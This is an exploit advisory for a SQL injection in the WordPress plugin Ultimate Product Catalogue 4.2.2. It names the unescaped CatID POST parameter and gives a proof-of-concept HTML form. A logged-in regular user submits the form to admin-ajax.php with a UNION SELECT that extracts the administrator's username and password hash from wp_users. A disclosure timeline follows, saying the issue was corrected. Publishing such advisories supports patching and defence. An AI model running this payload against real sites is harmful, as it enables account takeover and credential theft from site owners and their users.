WordPress Ultimate Product Catalogue 4.2.2 SQL Injection

`# Exploit Title: Ultimate Product Catalogue 4.2.2 Sql Injection a Plugin WordPress a Sql Injection  
# Exploit Author: Lenon Leite  
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/  
  
# Software Link: https://wordpress.org/plugins/ultimate-product-catalogue/  
# Contact: http://twitter.com/lenonleite  
# Website: http://lenonleite.com.br/  
# Category: webapps  
# Version: 4.2.2  
# Tested on: Ubuntu 16.04  
  
1 - Description:  
  
Type user access: register user.  
  
$_POST[aCatIDa] is not escaped.  
  
http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/  
  
2 - Proof of Concept:  
  
1 a Login as regular user (created using wp-login.php?action=register):  
  
2 a Using:  
  
<*form method="post"  
action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">  
<*input type="text" name="CatID" value="0 UNION SELECT  
user_login,user_pass FROM wp_users WHERE ID=1">  
<*input type="submit">  
  
*delete a*a in code*  
  
3 - Timeline:  
  
- 22/05/2017 a Discovered  
- 24/05/2017 a Vendor not finded  
- **/06/2017 - Corrected  
  
***Rename plugin txt to zip. Problem with gmail block.  
--   
*Atenciosamente*  
  
*Lenon Leiteaa*  
  
`